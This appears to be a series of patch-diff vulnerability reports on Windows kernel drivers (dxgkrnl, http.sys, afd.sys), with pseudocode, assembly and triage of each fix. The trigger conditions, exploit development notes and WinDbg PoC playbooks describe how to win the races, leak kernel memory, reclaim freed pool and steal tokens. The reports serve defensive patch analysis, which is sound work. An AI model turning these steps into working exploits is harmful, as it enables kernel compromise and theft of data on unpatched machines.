Attacker-Reachable Entry Point & Data Flow: 1. A client drives the OPM protected-output APIs, reaching the OPM IOCTL dispatch. 2. DpiPdoDispatchInternalIoctl (sub_1c016a270) -> DpiPdoHandleOpmIoctls (sub_1c0174bd4). 3. -> DxgkOpmCreateHandle / DxgkOpmTranslateHandle (sub_1c0174e8c) / DxgkOpmTranslateAndDestroyHandle (sub_1c0174a00). 4. -> ADAPTER_DISPLAY::OpmCreateHandle (sub_1c0175174) / OpmTranslateHandle (sub_1c0174f34) / OpmTranslateAndDestroyHandle (sub_1c0174aa8). 5. With the flag OFF, the handle returned by create is a kernel pointer; translate/destroy re-validate it by list-membership walk.

Finding 2: Swapchain Sync-Object Teardown Uses Only a Shared Lock (Double-Free / UAF)

Severity: High
Vulnerability Class: Race Condition (insufficient lock strength) leading to double-free / Use-After-Free
Affected Functions: DXGSWAPCHAIN::DestroySurfacesResourcesLocal (sub_1C02ABA68), DXGSWAPCHAIN::DestroySurfacesResourcesGlobal (sub_1C02AB988)

Root Cause: The unpatched DestroySurfacesResourcesLocal synchronizes access to the swapchain's handle-table DXGSYNCOBJECT entry using two mechanisms gated by WIL flag Feature_342658361__private_IsEnabledDeviceUsage (sub_1c0027f20):

New (flag ON, kept by the patch): takes an EXCLUSIVE handle-table lock (DXGHANDLETABLELOCKEXCLUSIVE, sub_1c0002630 / DXGAUTOPUSHLOCK release sub_1c0004488) and, while holding it, sets the 0x2000 "in-destruction" bit on the table entry.
Legacy (flag OFF, removed by the patch): takes only a SHARED push lock (DXGPUSHLOCK::AcquireShared, sub_1c0007018, released via ExReleasePushLockSharedEx + KeLeaveCriticalRegion) and does not set the 0x2000 marker.

Because DXGGLOBAL::DestroySyncObject (sub_1c00ddb58) is called after the lock is released, two threads running the shared-lock path concurrently can both fetch the same DXGSYNCOBJECT and both destroy it — a double-free / use-after-free. The exclusive-lock path plus the 0x2000 marker prevents this: a second thread sees (entry & 0x2000) != 0 and fetches nullptr. The sibling DestroySurfacesResourcesGlobal mirrors the pattern: the legacy path skips the exclusive DXGSYNCOBJECTLOCK (sub_1c00186fc) and passes arg4=0 to DestroySyncObject, while the patch always acquires the exclusive lock and passes arg4=1.

Correction over the initial triage: the flag-ON path is the exclusive lock (safe); the flag-OFF path is the shared push lock (racy). The earlier reading had these reversed and described the exclusive-lock helpers as "lock-free."

3. Pseudocode Diff

Finding 1: Validated Unlink (`ADAPTER_DISPLAY::OpmTranslateAndDestroyHandle`, `sub_1C0174AA8`)

// --- UNPATCHED sub_1C0174AA8 ---
if (Feature_2161340729__private_IsEnabledDeviceUsage() != 0) {   // flag ON: opaque ID
    node = FindOpmAdapterMapping(this, a2);                       // sub_1c00d7190
    if (node == nullptr) return 0xC01E050C;                      // error
} else if (OpmValidateAdapterHandle(this, a2) == 0) {            // flag OFF: pointer-membership
    return 0xC01E050C;                                           // not a live member -> error
} else {
    node = a2;                                                   // validated live pointer
}
flink = *node; *a3 = node[2];                                    // return +0x10 field
if (*(flink+8) != node || *(blink = node[1]) != node)
    __fastfail(3);                                               // link integrity check
*blink = flink; *(flink+8) = blink;                             // safe unlink of a validated node
operator delete(node);

// --- PATCHED sub_1C0174054 ---
node = FindOpmAdapterMapping(this, a2);                          // sub_1c00d6190, a2 is a 64-bit ID
if (node) { /* same integrity-checked unlink */ }
else       { /* assertion + error */ }

Finding 1: Handle Creation (`ADAPTER_DISPLAY::OpmCreateHandle`, `sub_1C0175174`)

// --- UNPATCHED sub_1C0175174 ---
if (Feature_2161340729__private_IsEnabledDeviceUsage() == 0) {  // legacy
    ...insert node at this+0x130...
    *a3 = node;                    // OPM handle = RAW KERNEL POINTER (info leak)
} else {                          // new
    do { id = (*(this+0x140))++; } while (id == 0 || FindOpmAdapterMapping(this, id));
    node[3] = id; ...insert...;    // stamp +0x18 ID
    *a3 = id;                      // OPM handle = opaque ID
}

4. Assembly Analysis

Finding 1: Membership Validation vs. ID Lookup

; UNPATCHED ADAPTER_DISPLAY::OpmValidateAdapterHandle (sub_1c0175044) - returns bool
; rdi = candidate handle (raw pointer in the legacy scheme)
0x1c017509a: lea rcx, [rbx+0x130]     ; rcx = &list head (this+0x130)
0x1c01750a1: mov rax, [rcx]           ; rax = first list node
0x1c01750a4: cmp rax, rcx             ; wrapped back to the head?
0x1c01750a7: jz  0x1c01750c1          ; end of list -> return 0
0x1c01750a9: cmp rax, rdi             ; exact NODE-POINTER match against a live member
0x1c01750ac: jnz 0x1c01750bc          ; not this node -> advance
0x1c01750ae: mov al, 1               ; rdi IS a genuine list node -> return 1
0x1c01750bc: mov rax, [rax]           ; next node
0x1c01750bf: jmp 0x1c01750a4
0x1c01750c1: xor al, al               ; non-member -> return 0

; FindOpmAdapterMapping (sub_1c00d7190 unpatched == sub_1c00d6190 patched) - ID lookup
; addresses shown for the patched copy at 0x1c00d6190; rdi = candidate ID
0x1c00d6201: lea rcx, [rbx+0x130]     ; rcx = &list head (this+0x130)
0x1c00d6208: mov rax, [rcx]           ; rax = first list node
0x1c00d620b: jmp 0x1c00d6216
0x1c00d620d: cmp [rax+0x18], rdi      ; *** ID field at +0x18 ***
0x1c00d6211: jz  0x1c00d621d          ; match -> return node
0x1c00d6213: mov rax, [rax]           ; next node
0x1c00d6216: cmp rax, rcx             ; wrapped back to the head?
0x1c00d6219: jnz 0x1c00d620d          ; more nodes -> keep scanning
0x1c00d621b: xor eax, eax             ; not found -> nullptr

OpmValidateAdapterHandle is a boolean validator, not a lookup that returns a caller-influenced node. FindOpmAdapterMapping is byte-for-byte the same routine in both builds (only its address and internal assertion line numbers shift); it is a relocation, not a fix.

Finding 2: Lock Strength (`DXGSWAPCHAIN::DestroySurfacesResourcesLocal`, `sub_1c02aba68`)

; UNPATCHED sub_1c02aba68
call    0x1c0027f20        ; Feature_342658361__private_IsEnabledDeviceUsage
test    eax, eax
je      legacy_shared_path

; NEW PATH (flag ON) - EXCLUSIVE lock + 0x2000 marking
call    0x1c0002630        ; DXGHANDLETABLELOCKEXCLUSIVE::ctor
; ... lookup; on match: or dword [entry], 0x2000 ...
call    0x1c0004488        ; DXGAUTOPUSHLOCK::dtor
jmp     destroy

legacy_shared_path:        ; (flag OFF) - SHARED push lock, NO marking
call    0x1c0007018        ; DXGPUSHLOCK::AcquireShared
; ... same lookup, no 0x2000 ...
call    qword [rel ExReleasePushLockSharedEx]
call    qword [rel KeLeaveCriticalRegion]

destroy:
call    0x1c00ddb58        ; DXGGLOBAL::DestroySyncObject (AFTER lock release)

; PATCHED sub_1c02aa8bc - single exclusive path
call    0x1c0002630        ; DXGHANDLETABLELOCKEXCLUSIVE::ctor
; ... lookup; or dword [entry], 0x2000 ...
call    0x1c0004488        ; DXGAUTOPUSHLOCK::dtor

5. Trigger Conditions

Finding 1 (kernel-address disclosure): 1. Drive the OPM protected-output APIs to reach OpmCreateHandle. 2. Ensure Feature_2161340729__private_IsEnabledDeviceUsage (sub_1c00259e8) is OFF (legacy scheme). 3. Observe the returned OPM handle is a kernel pointer (0xFFFF...) rather than a small opaque counter.

Finding 2 (double-free / UAF): 1. Ensure Feature_342658361__private_IsEnabledDeviceUsage (sub_1c0027f20) is OFF (shared-lock path). 2. Create a swapchain with sync objects via D3DKMT swapchain APIs. 3. Issue concurrent swapchain / surface destruction from multiple threads targeting the same surface; the shared-lock path lets two threads both resolve and destroy the same DXGSYNCOBJECT.

6. Exploit Primitive & Development Notes

Primitives Provided: - Finding 1: Kernel-address information disclosure only. The OPM handle in the legacy path is the kernel address of the mapping node, usable to defeat KASLR for that pool. There is no write-what-where and no arbitrary read: OpmValidateAdapterHandle requires an exact list-member pointer, and the unlink is __fastfail-guarded, so only genuine, validated nodes are ever translated or unlinked. - Finding 2: Double-free / use-after-free of a DXGSYNCOBJECT. Two concurrent shared-lock-path threads both free the same object. The freed pool block can be reclaimed with attacker-controlled data (named-pipe or object spray), enabling further corruption.

Exploit Development Steps (Finding 2): 1. Win the race: two threads calling the swapchain surface teardown on the same handle under the shared-lock (flag OFF) path. 2. Reclaim the freed DXGSYNCOBJECT pool block between/after the two frees with controlled data. 3. Pivot from the corrupted object (e.g., function pointer or type field) toward a data-only privilege escalation.

Mitigations: - KASLR: Finding 1's disclosure directly weakens KASLR for the OPM handle pool. - SMEP / SMAP / CFG: relevant only to Finding 2's UAF if execution is hijacked via a reclaimed object; data-only reclamation avoids CFG.

7. Debugger PoC Playbook

Attach a local kernel debugger (WinDbg/KD) to the unpatched target.

Breakpoints:

bp dxgkrnl_unpatched!Feature_2161340729__private_IsEnabledDeviceUsage   ; sub_1c00259e8
bp dxgkrnl_unpatched!OpmCreateHandle                                    ; sub_1c0175174
bp dxgkrnl_unpatched!OpmValidateAdapterHandle                           ; sub_1c0175044
bp dxgkrnl_unpatched!DestroySurfacesResourcesLocal                      ; sub_1c02aba68
bp dxgkrnl_unpatched!Feature_342658361__private_IsEnabledDeviceUsage    ; sub_1c0027f20

Address note: in the patched image, 0x1c00259e8 is a different function (DXGOVERLAYMUTEX constructor) due to address reuse. The feature-flag breakpoints above are meaningful only against the unpatched image.

Execution & Inspection: 1. Verify OPM scheme: Break sub_1c00259e8, gu, inspect eax. eax == 0 => legacy raw-pointer-handle path is active. 2. Observe the disclosed pointer: Break OpmCreateHandle; on the legacy path step to the *a3 = node store and confirm the handle handed back is a kernel pointer. 3. Confirm safe validation: Break OpmValidateAdapterHandle. rcx = adapter, rdx = candidate handle. Confirm the loop only returns 1 on an exact member match; a non-member value falls through to return 0 (error path, no wrong-object match). 4. Observe the race path: Break sub_1c02aba68, gu past sub_1c0027f20. eax == 0 => shared-lock path with no 0x2000 marking; watch the handle-table entry dword to confirm the marker is absent, then watch two threads both reach DXGGLOBAL::DestroySyncObject on the same object.

Expected Observation on Crash (Finding 2): - BAD_POOL_HEADER (0x19) or BAD_POOL_CALLER (0xC2) from the double-free of the DXGSYNCOBJECT pool block, or a delayed use-after-free if the block is reclaimed between frees. Finding 1 produces no crash under normal validation; its only consequence is kernel-address disclosure.

8. Changed Functions — Full Triage

VmBusOpmRequest (sub_1C0245C70) (0.49 similarity, behavioral): Removed a WIL feature-staging check (Feature_15692090__private_IsEnabledDeviceUsage, sub_1c0026850) that gated two VmBus command handling paths. No memory-safety consequence observed.
DXGSWAPCHAIN::DestroySurfacesResourcesLocal (sub_1C02ABA68) (0.75 similarity, security-relevant): Removed the shared-lock legacy teardown path; the patch always takes the exclusive handle-table lock and sets the 0x2000 in-destruction marker. (Finding 2.)
DXGSWAPCHAIN::DestroySurfacesResourcesGlobal (sub_1C02AB988) (0.76 similarity, security-relevant): Removed the flag that skipped the exclusive DXGSYNCOBJECTLOCK (sub_1c00186fc); the patch always acquires it and passes arg4=1 to DXGGLOBAL::DestroySyncObject (sub_1c00ddb58).
ADAPTER_DISPLAY::OpmTranslateHandle (sub_1C0174F34) (0.77 similarity, security-relevant): Removed the dual lookup path; the patch always uses ID-based FindOpmAdapterMapping. Legacy path validated a raw pointer handle via membership walk. (Finding 1.)
ADAPTER_DISPLAY::OpmTranslateAndDestroyHandle (sub_1C0174AA8) (0.79 similarity, security-relevant): Same dual-path removal; additionally unlinks and frees the (validated) node. No wrong-object write. (Finding 1.)
ADAPTER_DISPLAY::OpmCreateHandle (sub_1C0175174) (0.86 similarity, security-relevant): Removed the legacy path that returned the raw node pointer as the handle; the patch always generates a unique opaque ID. (Finding 1.)
DXGGLOBAL::DestroySyncObject (sub_1C00DDB58) (0.90 similarity, behavioral): Removed feature-staging that gated internal assertion codes (0xac7/0xacb/0xad0 vs 0xac6/0xaca). Core destruction logic unchanged.
DXG_HOST_VIRTUALGPU_VMBUS::VmBusGetRegistryKeys (sub_1C02430A0) (0.97 similarity, cosmetic): Call-target address shifts plus one removed WIL feature-staging check.
VIDPN_MGR::BuildSetTimingsPathInfoFromClientVidPn (sub_1C0142590) (0.98 similarity, cosmetic): Address-reference shifts due to binary layout differences.

9. Unmatched Functions

No added or removed functions (unmatched_unpatched: 0, unmatched_patched: 0). The patch consolidates existing functions by removing feature-staging branches.

10. Confidence & Caveats

Confidence Level: High for the mechanics. The diff clearly shows WIL feature-staging removal: OPM handles migrate from raw kernel pointers to opaque IDs, and swapchain sync-object teardown migrates from a shared lock (no in-destruction marker) to an exclusive lock with a marker.

Corrections from the initial triage: - The affected functions are OPM (Output Protection Manager) and swapchain routines, not "sync object (fence/monitor)" enumeration. The sub_<ADDR> labels resolve to ADAPTER_DISPLAY::Opm* and DXGSWAPCHAIN::DestroySurfacesResources*. - Finding 1 is not a type confusion or write-what-where. OpmValidateAdapterHandle is a boolean list-membership validator; the unlink is __fastfail-guarded. The real issue is kernel-address disclosure via pointer-as-handle. - In Finding 2 the lock-strength/flag mapping was reversed: flag ON = exclusive (safe), flag OFF = shared (racy). - FindOpmAdapterMapping at sub_1c00d7190 (unpatched) and sub_1c00d6190 (patched) is the same function relocated, not a new fixed lookup.

Assumptions: - Exploitability depends on the runtime state of the WIL feature-staging flags in the shipped unpatched build; the flag defaulting to the legacy path is what exposes each issue.

Manual Verification Required: - Map the exact OPM IOCTL codes and buffer layouts from DpiPdoHandleOpmIoctlsInternal (sub_1c001cc94) to the user-mode OPM APIs to confirm the client-reachable path for Finding 1's disclosure, and identify the swapchain-destroy IOCTL that concurrently reaches DestroySurfacesResourcesLocal for Finding 2.

http.sys — Double-fetch / TOCTOU on user-supplied trailer source pointer (CWE-367) in UlGenerateTrailers fixed

2026-06-28T00:00:00-07:00

1. Overview

Unpatched Binary: http_unpatched.sys
Patched Binary: http_patched.sys
Similarity Score: 0.9918
Diff Statistics: 3910 matched, 6 changed, 3904 identical, 0 unmatched.
Verdict: The patch resolves a high-severity Time-of-Check Time-of-Use (TOCTOU / CWE-367) double-fetch vulnerability in the HTTP Server API kernel driver (http.sys), where concurrent user-mode threads could race to trick the kernel into copying arbitrary kernel memory into an attacker-readable output buffer.

2. Vulnerability Summary

Severity: High
Vulnerability Class: Double-fetch / TOCTOU (CWE-367)
Primary Vulnerable Function: UlGenerateTrailers (sub_1400755C0)
Related KIR-gated user-mode pointer changes: UxQuicConnectionCopyBindings (sub_1400E1AB4), UxQuicConnectionGetPeerIssuerListClient (sub_1400E28A8), UxpQuicConnectionCopyCertBlob (sub_1400E9D8C)

Root Cause & Exploitability: UlGenerateTrailers builds the trailer section of an outbound HTTP response from a user-supplied descriptor. The descriptor at a2 holds a count at offset +0x8 and, at offset +0x10, a pointer to an array of 0x18-byte entries. Each entry carries two length fields (offsets +0x0 and +0x2) and two data pointers (offsets +0x8 and +0x10) that point into user-mode memory. The driver validates the entry array once with UlProbeForRead, then validates each embedded data pointer with UlProbeAnsiString before copying its bytes with memmove.

In the unpatched build, each embedded data pointer is read from user memory twice: once when it is passed to UlProbeAnsiString, and again when it is passed to memmove. Between those two reads a second user-mode thread can overwrite the pointer field, swapping the probed user-mode address for a kernel address. The probe passes on the original value while the copy dereferences the swapped value, so memmove reads from an attacker-chosen kernel address into the response trailer buffer.

The patched build captures each embedded data pointer once into register r12 and, when the KIR feature flag UxKirHttpReadingTrailersFromUm is enabled, uses that captured value for both the probe and the copy, closing the race window. When the flag is disabled the old re-read path is retained, so the fix is gated on that Known-Issue-Rollback flag (set from a Feature-staging query in UxStartEnvironmentModule).

Attacker-Reachable Entry Point & Data Flow: 1. A local process using the HTTP Server API submits a response-send request carrying trailer descriptors. 2. The request is dispatched through UlSendEntityBodyIoctl (sub_140098b80) / UlSendEntityBodyFastIo (sub_14004b3e0). 3. Processing flows UlFastSendHttpResponse (sub_1400978b8) -> UlCaptureHttpResponse (sub_14009ab5c) -> UlpPrepareHttpResponse (sub_14009b744). 4. UlGenerateTrailers (sub_1400755C0) is called to copy the user-supplied trailer entries. The double-fetch occurs here.

3. Pseudocode Diff

Below is a conceptual look at the vulnerable code pattern versus the patched code pattern in UlGenerateTrailers (sub_1400755C0).

// === UNPATCHED LOGIC (Vulnerable to TOCTOU) ===
void UlGenerateTrailers(..., USER_ENTRY *EntryArray, int Count, char *OutBuf) {
    UlProbeForRead(EntryArray, 24 * Count, 8, mode);   // whole array validated once
    for (int i = 0; i < Count; i++) {
        USER_ENTRY *entry = &EntryArray[i];
        USHORT len = entry->length;

        // TIME OF CHECK: probe reads entry->data_ptr from user memory
        UlProbeAnsiString(entry->data_ptr, len, mode);

        // --- RACE WINDOW: attacker overwrites entry->data_ptr with a kernel address ---

        // TIME OF USE: memmove re-reads entry->data_ptr from user memory
        memmove(OutBuf, entry->data_ptr, len);
    }
}

// === PATCHED LOGIC (Single-Capture, KIR-gated) ===
void UlGenerateTrailers(..., USER_ENTRY *EntryArray, int Count, char *OutBuf) {
    UlProbeForRead(EntryArray, 24 * Count, 8, mode);
    for (int i = 0; i < Count; i++) {
        USER_ENTRY *entry = &EntryArray[i];
        USHORT len = entry->length;

        // SINGLE FETCH: capture the pointer once (register r12)
        void *captured_ptr = entry->data_ptr;
        UlProbeAnsiString(captured_ptr, len, mode);

        // Source used for the copy depends on the Known-Issue-Rollback flag:
        void *src = UxKirHttpReadingTrailersFromUm ? captured_ptr   // fixed: reuse captured value
                                                   : entry->data_ptr; // rollback: re-read (old behavior)
        memmove(OutBuf, src, len);
    }
}

4. Assembly Analysis

The double-fetch is visible in the unpatched assembly of UlGenerateTrailers (sub_1400755C0). The function body is split, with the entry-processing loop placed in a cold chunk beginning at 0x14015f402. The entry array base is evaluated, and the pointers at offsets +0x8 and +0x10 are fetched twice. sub_1400640f0 is UlProbeAnsiString; sub_14014de80 is memmove.

Unpatched `UlGenerateTrailers (sub_1400755C0)` — double-fetch

; === Entry processing loop setup ===
0x14015f49a: movzx   eax, ax                  ; loop index
0x14015f4a1: mov     rax, qword [rsp+0x58]    ; rax = array base (user memory)
0x14015f4a6: lea     rax, [rax+rcx*8]         ; rax = current entry (base + index*0x18)
0x14015f4af: movzx   ecx, word [rax]          ; ecx = entry->length (offset 0x0)

; === DOUBLE-FETCH #1: entry+0x8 pointer ===
0x14015f4cb: mov     rcx, qword [rax+0x8]     ; FIRST READ of ptr for probe
0x14015f4cf: call    UlProbeAnsiString        ; UlProbeAnsiString(ptr, length, mode)
...
0x14015f504: mov     rdx, qword [rsp+0x50]    ; reload entry base
0x14015f509: mov     rdx, qword [rdx+0x8]     ; SECOND READ of ptr (TOCTOU WINDOW)
0x14015f50d: mov     rcx, r13                 ; rcx = destination trailer buffer
0x14015f510: call    memmove                  ; memmove(out_buf, attacker_swapped_ptr, len)

; === DOUBLE-FETCH #2: entry+0x10 pointer ===
0x14015f546: mov     rcx, qword [rax+0x10]    ; FIRST READ of secondary ptr
0x14015f54a: call    UlProbeAnsiString        ; UlProbeAnsiString
...
0x14015f56b: mov     rdx, qword [rsp+0x50]    ; reload entry base
0x14015f570: mov     rdx, qword [rdx+0x10]    ; SECOND READ of secondary ptr
0x14015f574: mov     rcx, r13                 ; rcx = destination trailer buffer
0x14015f577: call    memmove                  ; memmove(out_buf, attacker_swapped_ptr, len)

Patched `UlGenerateTrailers (sub_14009DE00)` — single-capture

The patched version reads each pointer into r12 once; when UxKirHttpReadingTrailersFromUm is set it feeds that captured register to the copy instead of re-reading user memory.

0x14009df66: mov     r12, qword [rax+8]       ; CAPTURE pointer once into r12
0x14009df77: mov     rcx, r12                 ; probe uses the captured r12
0x14009df7a: cmp     cs:UxKirHttpReadingTrailersFromUm, 0
0x14009df81: jz      0x14009dfa5              ; flag==0 -> rollback (re-read) path
0x14009df83: call    UlProbeAnsiString        ; UlProbeAnsiString(captured_ptr)
...
0x14009dfa0: mov     rdx, r12                 ; FIX: reuse captured r12 as copy source
0x14009dfa3: jmp     0x14009dfc6
; --- rollback path (flag==0): re-reads entry+8 from user memory ---
0x14009dfc2: mov     rdx, qword [r13+8]       ; source re-read (old behavior)
0x14009dfc6: mov     rbx, r14
0x14009dfcf: call    memmove                  ; memmove(out_buf, source, len)

sub_14014de80 (unpatched) and sub_14014e300 (patched) are the same memmove routine at a shifted address; the copy helper itself is unchanged between builds.

5. Trigger Conditions

Obtain a handle to the HTTP Server API via Win32 (HttpCreateHttpHandle, HttpCreateRequestQueue) or native (NtDeviceIoControlFile directly targeting \Device\Http\*).
Allocate an input buffer for the IOCTL containing an array header (count at offset +0x8, must be 1 to 0x2710) and a pointer to the array at offset +0x10.
Populate the array with N entries. Each entry is 0x18 bytes: [uint16 length1][uint16 length2][ptr data1][ptr data2]. Ensure length matches your buffer sizes.
Initialize data1 to point to a legitimate user-mode buffer.
Spawn a racing thread that continuously executes InterlockedExchange64 on the data1 field, alternating between the legitimate user-mode pointer and a target kernel address (e.g., 0xFFFFF805'C0000000).
Submit the IOCTL from the main thread in a tight loop.
Inspect the IOCTL output buffer after each call. If the race is won, the output buffer will contain the raw bytes of the target kernel address instead of your user-mode buffer data.

6. Exploit Primitive & Development Notes

Primitive: Arbitrary Kernel Memory Read (Information Disclosure).
Limitations: Because it relies on winning a race condition, you cannot reliably read large contiguous blocks in a single request. However, by requesting small lengths (e.g., 8 bytes) and looping, you can slowly exfiltrate memory.
Usage: This primitive is primarily an info-leak. It can be used to:
Defeat KASLR by reading known kernel structures to find base addresses.
Scan for authentication tokens in kernel pool memory.
Locate the EPROCESS of System.exe to prepare for a subsequent token-stealing exploit.
Mitigations: Standard kernel protections like SMEP, SMAP, and CFG do not prevent this vulnerability, as the kernel is legally performing a read on behalf of an IRP. SMAP actually helps the attacker by ensuring the probe correctly passes user-mode pointers before the swap.

7. Debugger PoC Playbook

To validate and analyze this bug on the unpatched binary, attach WinDbg in kernel mode and use the following commands.

Breakpoints

Set targeted breakpoints to monitor the probe and the copy phases:

bp http+0x15f4cb  "printf \"[PROBE] Entry Ptr: %p\\n\", rax; .if (poi(rax+8) > 0xFFFF800000000000) { echo WARNING: Kernel Addr in user struct! }; gc"
bp http+0x15f509  "printf \"[COPY ] Re-read Ptr: %p\\n\", rdx; gc"
bp http+0x15f510  ".if (rdx > 0xFFFF800000000000) { echo [VICTORY] Kernel Address detected in memmove source! } .else { gc }"

What to Inspect

At UlGenerateTrailers cold chunk (0x14015f4cb): Inspect rax (the user-mode entry structure). Look at [rax+8] — this is the pointer being submitted to UlProbeAnsiString.
At 0x14015f509: Inspect rdx. If rdx differs from what you observed at 0x14015f4cb, the race succeeded. If rdx is greater than 0xFFFF800000000000, a kernel address was swapped in.
At the memmove routine (http+0x14de80): rcx is the destination trailer buffer (r13), rdx is the source, r8 is the length.

Key Instructions/Offsets

0x14015f4cb: First fetch of the user pointer.
0x14015f4cf: UlProbeAnsiString call.
0x14015f509: THE BUG. Second fetch of the user pointer.
0x14015f510: The dangerous memmove execution.

Trigger Setup

Drive an HTTP response send through the HTTP Server API (or NtDeviceIoControlFile against \Device\Http\*) with a response descriptor whose trailer field points to an array of at least one 0x18-byte entry, each entry carrying non-zero length fields and user-mode data pointers.

Expected Observation

If the race is lost (the probe catches the kernel address), UlProbeAnsiString raises a STATUS_ACCESS_VIOLATION which http.sys catches internally and converts to a request error. The system remains stable. If the race is won, the breakpoint at 0x14015f510 halts. rdx holds a kernel address; stepping over the call memmove executes the copy, and dumping rcx afterward reveals the leaked kernel memory.

8. Changed Functions — Full Triage

UlGenerateTrailers (sub_1400755C0) (Sim: 0.684): Vulnerable. Copies user-supplied HTTP trailer entries, performing a source-pointer double-fetch on entry+0x8 and entry+0x10 (probe with UlProbeAnsiString, then re-read for memmove). Patched by capturing each pointer once into r12, used for the copy when UxKirHttpReadingTrailersFromUm is enabled.
UxQuicConnectionCopyBindings (sub_1400E1AB4) (Sim: 0.858): User-mode destination-pointer handling. Copies ALPN/binding data from an in-kernel QUIC connection object (*(a1+1712)) into a caller output buffer under a push lock (a1+0x28). The source is kernel data read once, so this is not a source double-fetch. The unpatched code truncates the destination pointer a3+8 to 32 bits ((unsigned int)(a3+8)); the patched code preserves the full 64-bit destination pointer when UxKirWritingAndReadingUm is set, and only truncates in the rollback path.
UxQuicConnectionGetPeerIssuerListClient (sub_1400E28A8) (Sim: 0.898): Destination-base capture. Copies the peer certificate issuer list from an in-kernel QUIC object (*(a1+1680)) into the caller buffer under a shared push lock. Source pointers are kernel data. The patched code, gated on UxKirWritingAndReadingUmCertList, captures the output base a3+16 once instead of re-reading *(a3) (which was just written into the caller-visible buffer) when placing the per-entry header pointers.
UxpQuicConnectionCopyCertBlob (sub_1400E9D8C) (Sim: 0.864): User-mode destination-pointer handling. Copies a certificate blob from an in-kernel structure into the caller buffer. The unpatched a2 != 0 branch truncates the destination a3+8 to 32 bits. The patched build moves this branch into the helper UxpQuicConnectionCopyCertBlob32 (sub_1400ea280), which preserves the full 64-bit destination when UxKirWritingAndReadingUm is set.
UxStartEnvironmentModule (sub_1400B6AF0) (Sim: 0.942): Initialization / feature staging. Sets the three Known-Issue-Rollback flags UxKirHttpReadingTrailersFromUm, UxKirWritingAndReadingUm, and UxKirWritingAndReadingUmCertList from Windows Feature-staging queries (Feature_2280337722, Feature_1255102777, Feature_1282877755). These flags gate the corrected paths above. Not directly reachable by an attacker.
sub_14015F5C7 (Sim: 0.969): This address falls inside the UlGenerateTrailers cold chunk, not a separate function. The register-allocation difference (rdi vs rbx) is a byproduct of the recompile with no independent behavioral change.

9. Unmatched Functions

Removed: None.
Added: None. (Note: sub_14014de80 in the unpatched build and sub_14014e300 in the patched build are the same memmove routine at a relocated address; the copy helper is unchanged. The behavioral fix lives in the callers, not in a new wrapper. UxpQuicConnectionCopyCertBlob32 (sub_1400ea280) already exists in both builds as UxpQuicConnectionCopyCertBlob32.)

10. Confidence & Caveats

Confidence Level: High. The double-fetch assembly pattern is a textbook CWE-367 vulnerability. The fix directly maps to standard mitigation techniques for TOCTOU bugs.
Assumptions Made:
The attacker has normal, unprivileged access to the HTTP Server API to submit a response with trailer descriptors that reach UlGenerateTrailers.
The UxQuicConnection* functions are query paths that copy data out of in-kernel QUIC connection objects into a caller buffer; their changes concern 64-bit user-mode destination-pointer handling rather than a source double-fetch, so they are lower severity than the trailer path.
Verification Required: A PoC writer must reconstruct the trailer descriptor layout (count at +0x8, entry-array pointer at +0x10, 0x18-byte entries with data pointers at +0x8/+0x10) that reaches the UlGenerateTrailers loop, and must confirm UxKirHttpReadingTrailersFromUm is enabled on the patched build when validating the fix, since the single-capture path is gated on that flag.

afd.sys — Integer underflow in accept options copy leading to kernel pool buffer overflow (CWE-191) fixed

2026-06-26T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`afd_unpatched.sys`
Patched binary	`afd_patched.sys`
Overall similarity	0.9683 (96.83%)
Matched functions	1093
Changed functions	33
Identical functions	1060
Unmatched (unpatched)	0
Unmatched (patched)	0

Verdict: The patch changes three functions in the Windows AFD (Winsock) driver in a security-relevant way. The primary fix is a real integer underflow in AfdSanAcceptCore (the accept IRP completion routine): a 16-bit options length is decremented by 8 without a lower-bound check, wrapping to a large value that drives an oversized memmove into the MDL-mapped output buffer. The second change adds a drain of pending listening IRPs on the failed-listen completion path in AfdTLListenComplete. The third change makes a connection-teardown state check unconditional in AfdSanFastCompleteRequest, where it was previously gated behind a feature flag. All three fixes are gated by (or, for the third, remove) EvaluateCurrentState feature flags.

2. Vulnerability Summary

Finding 1 — Integer Underflow → Kernel Pool Buffer Overflow

Field	Value
Severity	High
Class	Integer underflow leading to heap buffer overflow (CWE-191 / CWE-122)
Function	`AfdSanAcceptCore` (unpatched `0x1C007608C`, patched `0x1C007508C`)
Primitive	Kernel pool / MDL-mapped buffer overflow via oversized `memmove`

Root cause: In the accept completion routine, after the options block is reached (guarded by options_size >= 6), one of two copy paths runs depending on the connection byte at [connection+0xAC]. When that byte is zero, the code computes the copy length as options_size - 8 in a 16-bit register. Because the only guard is options_size >= 6, the values 6 and 7 pass the guard, and options_size - 8 wraps in 16 bits to 0xFFFE (65534) or 0xFFFF (65535). That wrapped value is then used as the memmove size, copying up to ~64 KB from the transport response into the MDL-mapped output buffer that was sized for the small options field. The patched version adds a feature-flag-gated path that, when the feature is enabled, checks options_size < 8 and zero-fills with memset instead of subtracting 8.

Note that the other branch (connection byte [connection+0xAC] != 0) subtracts 2, not 8. Since the guard already forces options_size >= 6, options_size - 2 >= 4 never underflows, and that branch is unchanged between the two builds. The underflow is specific to the -8 branch.

Attacker-reachable entry point: A peer completes a connection to an AFD socket that has an accept/super-accept pending. The transport-reported options length in the connection response drives the vulnerable length math.

Call chain: 1. NtDeviceIoControlFile / WSAAccept / AcceptEx (user mode) 2. AFD IRP_MJ_DEVICE_CONTROL dispatch 3. AfdAccept / AfdServiceSuperAccept / AfdServiceWaitForListen (accept service paths) 4. AfdSanAcceptCore — accept IRP completion routine (copies options data from the connection response into the user's MDL-mapped buffer)

Finding 2 — Pending Listen IRPs Not Drained on Failed-Listen Completion

Field	Value
Severity	High
Class	Use-after-free / stale IRP access (CWE-416)
Function	`AfdTLListenComplete` (unpatched `0x1C005AB60`, patched `0x1C0059850`)
Primitive	Pending IRPs left queued across endpoint dereference on the listen-abort path

Root cause: AfdTLListenComplete runs the abort branch only when the completion status a2 < 0 (a failed listen). In that branch the unpatched code clears state flags ([conn+8] &= ~3, *conn &= ~4), writes conn[0xA8]/conn[0xAA] from the IRP, and releases the connection spinlock (at conn+0x30) without draining the pending listen-IRP list at conn+0x70. Immediately after, AfdDerefTLBaseEndpoint decrements the endpoint reference. Any IRPs still queued on conn+0x70 therefore survive across the endpoint dereference. The patch inserts a feature-flag-gated call to AfdDrainListeningIrps(conn, &LockHandle, status) before the lock is released; that helper walks the conn+0x70 list, recovers each IRP (list entry lies at IRP+0xA8, so IRP = entry - 0xA8), clears its cancel routine, completes it with the failing status, and re-acquires the spinlock.

Attacker-reachable entry point: A listening AFD socket whose listen completes with a failure status while listen/wait IRPs are queued on the endpoint.

